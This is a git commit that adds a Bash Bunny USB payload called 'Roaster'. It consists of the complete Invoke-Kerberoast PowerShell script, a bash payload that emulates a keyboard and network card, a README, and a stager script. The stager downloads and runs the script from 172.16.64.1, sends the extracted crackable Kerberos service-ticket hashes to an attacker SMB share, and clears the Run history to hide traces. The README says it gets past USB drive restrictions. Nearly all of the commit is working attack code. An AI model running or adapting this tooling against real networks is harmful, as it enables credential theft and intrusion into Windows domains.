Add files via upload (#342)

pull/343/head
golem445 2018-05-20 13:29:10 -05:00 committed by Darren Kitchen
parent 65d652a15c
commit be78dafbfc
4 changed files with 902 additions and 0 deletions

View File

@ -0,0 +1,803 @@
<#
Invoke-Kerberoast.ps1
Author: Will Schroeder (@harmj0y), @machosec
License: BSD 3-Clause
Required Dependencies: None
Credit to Tim Medin (@TimMedin) for the Kerberoasting concept and original toolset implementation (https://github.com/nidem/kerberoast).
Note: the primary method of use will be Invoke-Kerberoast with various targeting options.
#>
function Get-DomainSearcher {
<#
.SYNOPSIS
Helper used by various functions that builds a custom AD searcher object.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-NetDomain
.DESCRIPTION
Takes a given domain and a number of customizations and returns a
System.DirectoryServices.DirectorySearcher object. This function is used
heavily by other LDAP/ADSI search function.
.PARAMETER Domain
Specifies the domain to use for the query, defaults to the current domain.
.PARAMETER LDAPFilter
Specifies an LDAP query string that is used to filter Active Directory objects.
.PARAMETER Properties
Specifies the properties of the output object to retrieve from the server.
.PARAMETER SearchBase
The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
Useful for OU queries.
.PARAMETER SearchBasePrefix
Specifies a prefix for the LDAP search string (i.e. "CN=Sites,CN=Configuration").
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to for the search.
.PARAMETER SearchScope
Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
.PARAMETER ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.
.PARAMETER SecurityMasks
Specifies an option for examining security information of a directory object.
One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'.
.PARAMETER Tombstone
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.
.EXAMPLE
Get-DomainSearcher -Domain testlab.local
Return a searcher for all objects in testlab.local.
.EXAMPLE
Get-DomainSearcher -Domain testlab.local -LDAPFilter '(samAccountType=805306368)' -Properties 'SamAccountName,lastlogon'
Return a searcher for user objects in testlab.local and only return the SamAccountName and LastLogon properties.
.EXAMPLE
Get-DomainSearcher -SearchBase "LDAP://OU=secret,DC=testlab,DC=local"
Return a searcher that searches through the specific ADS/LDAP search base (i.e. OU).
.OUTPUTS
System.DirectoryServices.DirectorySearcher
#>
[OutputType('System.DirectoryServices.DirectorySearcher')]
[CmdletBinding()]
Param(
[Parameter(ValueFromPipeline = $True)]
[ValidateNotNullOrEmpty()]
[String]
$Domain,
[ValidateNotNullOrEmpty()]
[Alias('Filter')]
[String]
$LDAPFilter,
[ValidateNotNullOrEmpty()]
[String[]]
$Properties,
[ValidateNotNullOrEmpty()]
[String]
$SearchBase,
[ValidateNotNullOrEmpty()]
[String]
$SearchBasePrefix,
[ValidateNotNullOrEmpty()]
[String]
$Server,
[ValidateSet('Base', 'OneLevel', 'Subtree')]
[String]
$SearchScope = 'Subtree',
[ValidateRange(1,10000)]
[Int]
$ResultPageSize = 200,
[ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')]
[String]
$SecurityMasks,
[Switch]
$Tombstone,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
PROCESS {
if ($Domain) {
$TargetDomain = $Domain
}
else {
$TargetDomain = (Get-NetDomain).name
}
if ($Credential -eq [Management.Automation.PSCredential]::Empty) {
if (-not $Server) {
try {
# if there's no -Server specified, try to pull the primary DC to bind to
$BindServer = ((Get-NetDomain).PdcRoleOwner).Name
}
catch {
throw 'Get-DomainSearcher: Error in retrieving PDC for current domain'
}
}
}
elseif (-not $Server) {
try {
$BindServer = ((Get-NetDomain -Credential $Credential).PdcRoleOwner).Name
}
catch {
throw 'Get-DomainSearcher: Error in retrieving PDC for current domain'
}
}
$SearchString = 'LDAP://'
if ($BindServer) {
$SearchString += $BindServer
if ($TargetDomain) {
$SearchString += '/'
}
}
if ($SearchBasePrefix) {
$SearchString += $SearchBasePrefix + ','
}
if ($SearchBase) {
if ($SearchBase -Match '^GC://') {
# if we're searching the global catalog, get the path in the right format
$DN = $SearchBase.ToUpper().Trim('/')
$SearchString = ''
}
else {
if ($SearchBase -match '^LDAP://') {
if ($SearchBase -match "LDAP://.+/.+") {
$SearchString = ''
}
else {
$DN = $SearchBase.Substring(7)
}
}
else {
$DN = $SearchBase
}
}
}
else {
if ($TargetDomain -and ($TargetDomain.Trim() -ne '')) {
$DN = "DC=$($TargetDomain.Replace('.', ',DC='))"
}
}
$SearchString += $DN
Write-Verbose "Get-DomainSearcher search string: $SearchString"
if ($Credential -ne [Management.Automation.PSCredential]::Empty) {
Write-Verbose "Using alternate credentials for LDAP connection"
$DomainObject = New-Object DirectoryServices.DirectoryEntry($SearchString, $Credential.UserName, $Credential.GetNetworkCredential().Password)
$Searcher = New-Object System.DirectoryServices.DirectorySearcher($DomainObject)
}
else {
$Searcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]$SearchString)
}
$Searcher.PageSize = $ResultPageSize
$Searcher.SearchScope = $SearchScope
$Searcher.CacheResults = $False
if ($Tombstone) {
$Searcher.Tombstone = $True
}
if ($LDAPFilter) {
$Searcher.filter = $LDAPFilter
}
if ($SecurityMasks) {
$Searcher.SecurityMasks = Switch ($SecurityMasks) {
'Dacl' { [System.DirectoryServices.SecurityMasks]::Dacl }
'Group' { [System.DirectoryServices.SecurityMasks]::Group }
'None' { [System.DirectoryServices.SecurityMasks]::None }
'Owner' { [System.DirectoryServices.SecurityMasks]::Owner }
'Sacl' { [System.DirectoryServices.SecurityMasks]::Sacl }
}
}
if ($Properties) {
# handle an array of properties to load w/ the possibility of comma-separated strings
$PropertiesToLoad = $Properties| ForEach-Object { $_.Split(',') }
$Searcher.PropertiesToLoad.AddRange(($PropertiesToLoad))
}
$Searcher
}
}
function Convert-LDAPProperty {
<#
.SYNOPSIS
Helper that converts specific LDAP property result fields and outputs
a custom psobject.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: None
.DESCRIPTION
Converts a set of raw LDAP properties results from ADSI/LDAP searches
into a proper PSObject. Used by several of the Get-Net* function.
.PARAMETER Properties
Properties object to extract out LDAP fields for display.
.OUTPUTS
System.Management.Automation.PSCustomObject
A custom PSObject with LDAP hashtable properties translated.
#>
[OutputType('System.Management.Automation.PSCustomObject')]
[CmdletBinding()]
Param(
[Parameter(Mandatory = $True, ValueFromPipeline = $True)]
[ValidateNotNullOrEmpty()]
$Properties
)
$ObjectProperties = @{}
$Properties.PropertyNames | ForEach-Object {
if (($_ -eq 'objectsid') -or ($_ -eq 'sidhistory')) {
# convert the SID to a string
$ObjectProperties[$_] = (New-Object System.Security.Principal.SecurityIdentifier($Properties[$_][0], 0)).Value
}
elseif ($_ -eq 'objectguid') {
# convert the GUID to a string
$ObjectProperties[$_] = (New-Object Guid (,$Properties[$_][0])).Guid
}
elseif ($_ -eq 'ntsecuritydescriptor') {
$ObjectProperties[$_] = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $Properties[$_][0], 0
}
elseif ( ($_ -eq 'lastlogon') -or ($_ -eq 'lastlogontimestamp') -or ($_ -eq 'pwdlastset') -or ($_ -eq 'lastlogoff') -or ($_ -eq 'badPasswordTime') ) {
# convert timestamps
if ($Properties[$_][0] -is [System.MarshalByRefObject]) {
# if we have a System.__ComObject
$Temp = $Properties[$_][0]
[Int32]$High = $Temp.GetType().InvokeMember('HighPart', [System.Reflection.BindingFlags]::GetProperty, $null, $Temp, $null)
[Int32]$Low = $Temp.GetType().InvokeMember('LowPart', [System.Reflection.BindingFlags]::GetProperty, $null, $Temp, $null)
$ObjectProperties[$_] = ([datetime]::FromFileTime([Int64]("0x{0:x8}{1:x8}" -f $High, $Low)))
}
else {
# otherwise just a string
$ObjectProperties[$_] = ([datetime]::FromFileTime(($Properties[$_][0])))
}
}
elseif ($Properties[$_][0] -is [System.MarshalByRefObject]) {
# try to convert misc com objects
$Prop = $Properties[$_]
try {
$Temp = $Prop[$_][0]
Write-Verbose $_
[Int32]$High = $Temp.GetType().InvokeMember('HighPart', [System.Reflection.BindingFlags]::GetProperty, $null, $Temp, $null)
[Int32]$Low = $Temp.GetType().InvokeMember('LowPart', [System.Reflection.BindingFlags]::GetProperty, $null, $Temp, $null)
$ObjectProperties[$_] = [Int64]("0x{0:x8}{1:x8}" -f $High, $Low)
}
catch {
$ObjectProperties[$_] = $Prop[$_]
}
}
elseif ($Properties[$_].count -eq 1) {
$ObjectProperties[$_] = $Properties[$_][0]
}
else {
$ObjectProperties[$_] = $Properties[$_]
}
}
New-Object -TypeName PSObject -Property $ObjectProperties
}
function Get-NetDomain {
<#
.SYNOPSIS
Returns a given domain object.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: None
.DESCRIPTION
Returns a System.DirectoryServices.ActiveDirectory.Domain object for the current
domain or the domain specified with -Domain X.
.PARAMETER Domain
Specifies the domain name to query for, defaults to the current domain.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.
.EXAMPLE
Get-NetDomain -Domain testlab.local
.OUTPUTS
System.DirectoryServices.ActiveDirectory.Domain
.LINK
http://social.technet.microsoft.com/Forums/scriptcenter/en-US/0c5b3f83-e528-4d49-92a4-dee31f4b481c/finding-the-dn-of-the-the-domain-without-admodule-in-powershell?forum=ITCG
#>
[OutputType('System.DirectoryServices.ActiveDirectory.Domain')]
[CmdletBinding()]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True)]
[ValidateNotNullOrEmpty()]
[String]
$Domain,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
PROCESS {
if ($Credential -ne [Management.Automation.PSCredential]::Empty) {
Write-Verbose "Using alternate credentials for Get-NetDomain"
if (-not $Domain) {
# if no domain is supplied, extract the logon domain from the PSCredential passed
$TargetDomain = $Credential.GetNetworkCredential().Domain
Write-Verbose "Extracted domain '$Domain' from -Credential"
}
else {
$TargetDomain = $Domain
}
$DomainContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Domain', $TargetDomain, $Credential.UserName, $Credential.GetNetworkCredential().Password)
try {
[System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($DomainContext)
}
catch {
Write-Verbose "The specified domain does '$TargetDomain' not exist, could not be contacted, there isn't an existing trust, or the specified credentials are invalid."
$Null
}
}
elseif ($Domain) {
$DomainContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Domain', $Domain)
try {
[System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($DomainContext)
}
catch {
Write-Verbose "The specified domain '$Domain' does not exist, could not be contacted, or there isn't an existing trust."
$Null
}
}
else {
[System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
}
}
}
function Get-SPNTicket {
<#
.SYNOPSIS
Request the kerberos ticket for a specified service principal name (SPN).
Author: @machosec, Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: None
.DESCRIPTION
This function will either take one/more SPN strings, or one/more PowerView.User objects
(the output from Get-NetUser) and will request a kerberos ticket for the given SPN
using System.IdentityModel.Tokens.KerberosRequestorSecurityToken. The encrypted
portion of the ticket is then extracted and output in either crackable John or Hashcat
format (deafult of John).
.PARAMETER SPN
Specifies the service principal name to request the ticket for.
.PARAMETER User
Specifies a PowerView.User object (result of Get-NetUser) to request the ticket for.
.PARAMETER OutputFormat
Either 'John' for John the Ripper style hash formatting, or 'Hashcat' for Hashcat format.
Defaults to 'John'.
.EXAMPLE
Get-SPNTicket -SPN "HTTP/web.testlab.local"
Request a kerberos service ticket for the specified SPN.
.EXAMPLE
"HTTP/web1.testlab.local","HTTP/web2.testlab.local" | Get-SPNTicket
Request kerberos service tickets for all SPNs passed on the pipeline.
.EXAMPLE
Get-NetUser -SPN | Get-SPNTicket -OutputFormat Hashcat
Request kerberos service tickets for all users with non-null SPNs and output in Hashcat format.
.INPUTS
String
Accepts one or more SPN strings on the pipeline with the RawSPN parameter set.
.INPUTS
PowerView.User
Accepts one or more PowerView.User objects on the pipeline with the User parameter set.
.OUTPUTS
PowerView.SPNTicket
Outputs a custom object containing the SamAccountName, DistinguishedName, ServicePrincipalName, and encrypted ticket section.
#>
[OutputType('PowerView.SPNTicket')]
[CmdletBinding(DefaultParameterSetName='RawSPN')]
Param (
[Parameter(Position = 0, ParameterSetName = 'RawSPN', Mandatory = $True, ValueFromPipeline = $True)]
[ValidatePattern('.*/.*')]
[Alias('ServicePrincipalName')]
[String[]]
$SPN,
[Parameter(Position = 0, ParameterSetName = 'User', Mandatory = $True, ValueFromPipeline = $True)]
[ValidateScript({ $_.PSObject.TypeNames[0] -eq 'PowerView.User' })]
[Object[]]
$User,
[Parameter(Position = 1)]
[ValidateSet('John', 'Hashcat')]
[Alias('Format')]
[String]
$OutputFormat = 'John'
)
BEGIN {
$Null = [Reflection.Assembly]::LoadWithPartialName('System.IdentityModel')
}
PROCESS {
if ($PSBoundParameters['User']) {
$TargetObject = $User
}
else {
$TargetObject = $SPN
}
ForEach ($Object in $TargetObject) {
if ($PSBoundParameters['User']) {
$UserSPN = $Object.ServicePrincipalName
$SamAccountName = $Object.SamAccountName
$DistinguishedName = $Object.DistinguishedName
}
else {
$UserSPN = $Object
$SamAccountName = $Null
$DistinguishedName = $Null
}
$Ticket = New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $UserSPN
$TicketByteStream = $Ticket.GetRequest()
if ($TicketByteStream) {
$TicketHexStream = [System.BitConverter]::ToString($TicketByteStream) -replace '-'
[System.Collections.ArrayList]$Parts = ($TicketHexStream -replace '^(.*?)04820...(.*)','$2') -Split 'A48201'
$Parts.RemoveAt($Parts.Count - 1)
$Hash = $Parts -join 'A48201'
$Hash = $Hash.Insert(32, '$')
$Out = New-Object PSObject
$Out | Add-Member Noteproperty 'SamAccountName' $SamAccountName
$Out | Add-Member Noteproperty 'DistinguishedName' $DistinguishedName
$Out | Add-Member Noteproperty 'ServicePrincipalName' $Ticket.ServicePrincipalName
if ($OutputFormat -match 'John') {
$HashFormat = "`$krb5tgs`$unknown:$Hash"
}
else {
# hashcat output format
$HashFormat = '$krb5tgs$23$*ID#124_DISTINGUISHED NAME: CN=fakesvc,OU=Service,OU=Accounts,OU=EnterpriseObjects,DC=asdf,DC=pd,DC=fakedomain,DC=com SPN: F3514235-4C06-11D1-AB04-00D04FC2DCD2-GDCD/asdf.asdf.pd.fakedomain.com:50000 *' + $Hash
}
$Out | Add-Member Noteproperty 'Hash' $HashFormat
$Out.PSObject.TypeNames.Insert(0, 'PowerView.SPNTicket')
Write-Output $Out
break
}
}
}
}
function Invoke-Kerberoast {
<#
.SYNOPSIS
Requests service tickets for kerberoast-able accounts and returns extracted ticket hashes.
Author: Will Schroeder (@harmj0y), @machosec
License: BSD 3-Clause
Required Dependencies: Get-DomainSearcher, Convert-LDAPProperty, Get-SPNTicket
.DESCRIPTION
Implements code from Get-NetUser to quyery for user accounts with non-null service principle
names (SPNs) and uses Get-SPNTicket to request/extract the crackable ticket information.
The ticket format can be specified with -OutputFormat <John/Hashcat>
.PARAMETER Identity
A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local),
SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201).
Wildcards accepted. By default all accounts will be queried for non-null SPNs.
.PARAMETER AdminCount
Switch. Return users with adminCount=1.
.PARAMETER Domain
Specifies the domain to use for the query, defaults to the current domain.
.PARAMETER LDAPFilter
Specifies an LDAP query string that is used to filter Active Directory objects.
.PARAMETER SearchBase
The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
Useful for OU queries.
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to.
.PARAMETER SearchScope
Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
.PARAMETER ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.
.PARAMETER OutputFormat
Either 'John' for John the Ripper style hash formatting, or 'Hashcat' for Hashcat format.
Defaults to 'John'.
.EXAMPLE
Invoke-Kerberoast | fl
SamAccountName : SQLService
DistinguishedName : CN=SQLService,CN=Users,DC=testlab,DC=local
ServicePrincipalName : MSSQLSvc/PRIMARY.testlab.local:1433
Hash : $krb5tgs$unknown:30FFC786BECD0E88992CBBB017155C53$0343A9C8...
.EXAMPLE
Invoke-Kerberoast -Domain dev.testlab.local | ConvertTo-CSV -NoTypeInformation
"SamAccountName","DistinguishedName","ServicePrincipalName","Hash"
"SQLSVC","CN=SQLSVC,CN=Users,DC=dev,DC=testlab,DC=local","MSSQLSvc/secondary.dev.testlab.local:1433","$krb5tgs$unknown:ECF4BDD1037D1D9E2E091ABBDC92F00E$0F3A4...
.EXAMPLE
Invoke-Kerberoast -AdminCount -OutputFormat Hashcat | fl
SamAccountName : SQLService
DistinguishedName : CN=SQLService,CN=Users,DC=testlab,DC=local
ServicePrincipalName : MSSQLSvc/PRIMARY.testlab.local:1433
Hash : $krb5tgs$23$*ID#124_DISTINGUISHED NAME: CN=fakesvc,OU=Se
rvice,OU=Accounts,OU=EnterpriseObjects,DC=proddfs,DC=pf,
DC=fakedomain,DC=com SPN: H3514235-4C06-12D1-AB04-00D04F
C2DCD2-GDCD/asdf.asdf.pd.fakedomain.com:50000 *30
FFC786BECD0E88992CBBB017155C53$0343A9C8A7EB90F059CD92B52
....
.INPUTS
String
Accepts one or more SPN strings on the pipeline with the RawSPN parameter set.
.OUTPUTS
PowerView.SPNTicket
Outputs a custom object containing the SamAccountName, DistinguishedName, ServicePrincipalName, and encrypted ticket section.
#>
[OutputType('PowerView.SPNTicket')]
[CmdletBinding()]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[Alias('SamAccountName', 'Name')]
[String[]]
$Identity,
[Switch]
$AdminCount,
[ValidateNotNullOrEmpty()]
[String]
$Domain,
[ValidateNotNullOrEmpty()]
[Alias('Filter')]
[String]
$LDAPFilter,
[ValidateNotNullOrEmpty()]
[String]
$SearchBase,
[ValidateNotNullOrEmpty()]
[String]
$Server,
[ValidateSet('Base', 'OneLevel', 'Subtree')]
[String]
$SearchScope = 'Subtree',
[ValidateRange(1,10000)]
[Int]
$ResultPageSize = 200,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty,
[ValidateSet('John', 'Hashcat')]
[Alias('Format')]
[String]
$OutputFormat = 'John'
)
BEGIN {
$SearcherArguments = @{}
if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }
if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope }
if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
$UserSearcher = Get-DomainSearcher @SearcherArguments
$GetSPNTicketArguments = @{}
if ($PSBoundParameters['OutputFormat']) { $GetSPNTicketArguments['OutputFormat'] = $OutputFormat }
}
PROCESS {
if ($UserSearcher) {
$IdentityFilter = ''
$Filter = ''
$Identity | Where-Object {$_} | ForEach-Object {
$IdentityInstance = $_
if ($IdentityInstance -match '^S-1-.*') {
$IdentityFilter += "(objectsid=$IdentityInstance)"
}
elseif ($IdentityInstance -match '^CN=.*') {
$IdentityFilter += "(distinguishedname=$IdentityInstance)"
}
else {
try {
$Null = [System.Guid]::Parse($IdentityInstance)
$IdentityFilter += "(objectguid=$IdentityInstance)"
}
catch {
$IdentityFilter += "(samAccountName=$IdentityInstance)"
}
}
}
if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) {
$Filter += "(|$IdentityFilter)"
}
$Filter += '(servicePrincipalName=*)'
if ($PSBoundParameters['AdminCount']) {
Write-Verbose 'Searching for adminCount=1'
$Filter += '(admincount=1)'
}
if ($PSBoundParameters['LDAPFilter']) {
Write-Verbose "Using additional LDAP filter: $LDAPFilter"
$Filter += "$LDAPFilter"
}
$UserSearcher.filter = "(&(samAccountType=805306368)$Filter)"
Write-Verbose "Invoke-Kerberoast search filter string: $($UserSearcher.filter)"
$Results = $UserSearcher.FindAll()
$Results | Where-Object {$_} | ForEach-Object {
$User = Convert-LDAPProperty -Properties $_.Properties
$User.PSObject.TypeNames.Insert(0, 'PowerView.User')
$User
} | Where-Object {$_.SamAccountName -notmatch 'krbtgt'} | Get-SPNTicket @GetSPNTicketArguments
$Results.dispose()
$UserSearcher.dispose()
}
}
}

View File

@ -0,0 +1,60 @@
#!/bin/bash
#
# Title: Roaster
# Author: golem445
# Version: 1.0
# Dependencies: impacket, gohttp
# Runtime: ~10 seconds
#
# Sets up Ethernet and HID keyboard interfaces simultaneously,
# then uses HID to import Invoke-Kerberoast into memory via
# Bash Bunny web server and execute the attack. Results are
# exported to the loot directory via SMB.
#
### Prep for attack ###
LED SETUP
REQUIRETOOL impacket gohttp
GET SWITCH_POSITION
# Temporary loot directory
mkdir -p /loot/smb/
# Permanent loot directory
mkdir -p /root/udisk/loot/roaster_exfil/
# Set interfaces
ATTACKMODE RNDIS_ETHERNET HID
# Start web server
cd /root/udisk/payloads/$SWITCH_POSITION
gohttp -p 80 &
# Start SMB Server
python /tools/impacket/examples/smbserver.py s /loot/smb &
### Start attack ###
LED ATTACK
RUN WIN powershell "IEX (New-object Net.Webclient).DownloadString('http://172.16.64.1/s.ps1')"
# Wait until files are done copying.
LED STAGE2
while ! [ -f /loot/smb/EXFILTRATION_COMPLETE ]; do sleep 1; done
### Cleanup ###
LED CLEANUP
# Delete Exfil file
rm /loot/smb/EXFILTRATION_COMPLETE
# Move Kerberos SPNS to permanent loot directory
mv /loot/smb/* /root/udisk/loot/roaster_exfil/
# Clean up temporary loot directory
rm -rf /loot/smb/*
# Sync file system
sync
# Complete
LED FINISH

View File

@ -0,0 +1,34 @@
# Roaster
* Author: golem445
* Version: 1.0
* Target: Windows Domains
## Description
Sets up Ethernet and HID keyboard interfaces simultaneously,
then uses HID to import Invoke-Kerberoast into memory via
Bash Bunny web server and execute the attack. Results are
exported to the loot directory via SMB.
Note: This module will bypass network restrictions on USB
disk drives as only a network card and keyboard are emulated.
## Requirements
Impacket and gohttp should be installed
## STATUS
| Status | Description |
| ------------------- | ---------------------------------------- |
| Flashing Red | Impacket or gohttp not found |
| Solid Violet | Setup for attack |
| Flashing Amber | Attack in progress |
| Flashing Cyan | Cleaning up |
| Solid Green | Attack complete |
## Credits
* Tim Medin for Kerberoast
* Hak5Darren for SMB exfil

View File

@ -0,0 +1,5 @@
IEX (New-Object Net.Webclient).DownloadString('http://172.16.64.1/Invoke-Kerberoast.ps1')
Invoke-Kerberoast -Outputformat Hashcat | fl > \\172.16.64.1\s\output.txt
New-Item -Path \\172.16.64.1\s -ItemType "file" -Name "EXFILTRATION_COMPLETE" -Value "EXFILTRATION_COMPLETE"
Remove-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU' -Name '*' -ErrorAction SilentlyContinue
exit